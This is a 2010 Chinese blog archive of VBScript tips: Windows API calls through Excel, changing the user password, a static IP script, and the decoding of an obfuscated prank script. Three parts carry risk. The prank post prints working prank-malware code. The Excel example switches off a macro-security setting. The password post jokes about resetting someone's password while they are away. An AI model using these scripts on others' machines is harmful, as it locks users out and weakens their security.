“程序设计”目录存档

在VB中创建和使用VBS的内置WScript对象?

2010年08月8日,星期日

很久很久以前,在我还用VB的时候,我就想过这个问题。因为我想使用WScript对象的Sleep方法让程序暂停一段时间。但是一直没有找到方法。

今天看到MSDN上一篇文章《Why Can’t I Create The WScript Object?》,终于明白为什么我一直没有找到,因为根本没有这样的方法。文章里面已经说得很清楚了,“None of these properties make the slightest bit of sense to access outside of a running instance of WSH!”。所以,不要再做无谓的挣扎了。

VBS调用Windows API函数

2010年08月7日,星期六

那天无意中搜索到一篇《WinCC VBS利用EXCEL调用Windows API函数》的文章,不知道WinCC是什么,Google了一下好像跟西门子自动化有关。WinCC是什么并不重要,重要的是这篇文章提供了VBS调用Windows API的一种思路——EXCEL VBA,一种传说比VB还要VB的语言。

但是那篇文章中的例子都是使用已经写好的EXCEL VBA程序,即首先得存在一个EXCEL文件。我就想,能不能在VBS中通过excel.application对象创建一个包含VBA代码的EXCEL文档然后再调用它呢?Google来Google去,终于在微软帮助和支持中找到了方法。

结合两篇文章(请先阅读这两篇文章),写了一个示例程序,效果是移动鼠标至桌面左上角。如果你的EXCEL不是太盗版,双击这个VBS后应该可以看到效果。

Dim WshShell
set WshShell = CreateObject("wscript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Excel\Security\AccessVBOM",1,"REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM",1,"REG_DWORD"
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\AccessVBOM",1,"REG_DWORD"
Dim oExcel, oBook, oModule
Set oExcel = CreateObject("excel.application")
Set oBook = oExcel.Workbooks.Add
Set oModule = obook.VBProject.VBComponents.Add(1)
strCode = _
"Private Declare Function SetCursorPos Lib ""user32"" (ByVal x As Long, ByVal y As Long) As Long" & vbCr & _
"Sub MyMacro(x as Long, y as Long)" & vbCr & _
"SetCursorPos x, y" & vbCr & _
"End Sub"
oModule.CodeModule.AddFromString strCode
oExcel.Run "MyMacro",0,0
oExcel.DisplayAlerts = False
oBook.Close
oExcel.Quit

前面3-5行的修改注册表是为了让VBS能够完全控制EXCEL,strCode即为写入EXCEL中的VBA代码,至于怎样在VBA中调用Windows API不属于本文的讨论范围,请自己查阅资料。使用oExcel.Run "MyMacro",0,0调用我们写入的VBA代码。

用VBS修改Windows用户密码

2010年07月31日,星期六

不明白为什么很多人喜欢设置Windows开机密码,那个密码设了和没设是一样的,破解起来非常的容易。这里不打算介绍破解Windows密码的方法,而是用VBS修改Windows密码的方法,当然前提条件是你能进到操作系统中(比如趁别人开着电脑去上厕所的时候~)。

代码如下,我就不注释了,看得懂的不用注释也看得懂,看不懂的注释了也看不懂。看不懂的自己好好学习一下ADSI。

Const strPassword = "123456"
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim UserName
UserName = WshNetwork.UserName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&UserName)
Domain.SetPassword strPassword
Domain.SetInfo

XP下直接运行即可,Vista和Windows 7需要以管理员身份运行(具体方法参见上一篇文章)。

用VBS设置静态IP和DNS服务器地址

2010年07月29日,星期四

今天别人问我的,怕以后忘记,记录下来。

strIPAddress = Array("192.168.0.148")
strSubnetMask = Array("255.255.255.0")
strGateway = Array("192.168.0.1")
strGatewayMetric = Array(1)
arrDNSServers = Array("192.168.0.1","192.168.0.2")
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colNetAdapters = objWMIService.ExecQuery _
    ("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
 
For Each objNetAdapter in colNetAdapters
    errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask)
    errGateways = objNetAdapter.SetGateways(strGateway, strGatewaymetric)
    errDNS = objNetAdapter.SetDNSServerSearchOrder(arrDNSServers)
    If errEnable = 0 Then
        WScript.Echo "The IP address has been changed."
    Else
        WScript.Echo "The IP address could not be changed."
    End If
Next

记得把参数改成自己想要的。

一个VBS恶作剧程序的解密

2010年07月28日,星期三

就是我之前在百度HI上看到的加密的恶作剧程序。之前解密的时候犯了一个很愚蠢的错误,竟然把循环的次数看错了。

那个上面贴出的程序运行后生成一个EZJ.VBE文件,用Script Decoder将其解码成EZJ.VBS,然后将

Execute FG5bhgNStr

替换为

Set file = HgyuR5Y3v.OpenTextFile((zhVVB4tr6 - 16535685)&".vbs",2,True)
file.Write FG5bhgNStr

双击运行,得到501个vbs文件,其中70.vbs就是解密后的代码,如下

Rem EnCode_4.0 By baomaboy
On Error Resume Next
Set sexc4rt = WScript.CreateObject("WScript.Shell")
Set CcYdrdTE = CreateObject("Scripting.FileSystemObject")
RName = Int((9876543210 - 1234567890 + 1) * Rnd + 1234567890)
UrlFile = CcYdrdTE.BuildPath(sexc4rt.SpecialFolders("Desktop"),"\"&RName&".url")
Set UrlStr = CcYdrdTE.OpenTextFile(UrlFile,2,True)
UrlStr.WriteLine("[InternetShortcut]"&vbcrlf&"url=file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:file:")
UrlStr.Close
WScript.Sleep 5000
Set OUrl = CcYdrdTE.OpenTextFile(CcYdrdTE.BuildPath(CcYdrdTE.GetSpecialFolder(1),"ShowDisktop.SCF"),2,True)
OUrl.Write("[Shell]"&vbcrlf&"Command=2"&vbcrlf&"IconFile=explorer.exe,3"&vbcrlf&"[Taskbar]"&vbcrlf&"command=ToggleDesktop")
OUrl.Close
sexc4rt.Run("ShowDisktop.SCF")
WScript.Sleep 16365
sexc4rt.Run("%COMSPEC% /C Del "&CcYdrdTE.GetFile(UrlFile).ShortPath),vbHide
WScript.Sleep 1000
sexc4rt.Run("explorer.exe")
WScript.Quit(0)

唉,因为一个很低级的错误,纠结了好几天。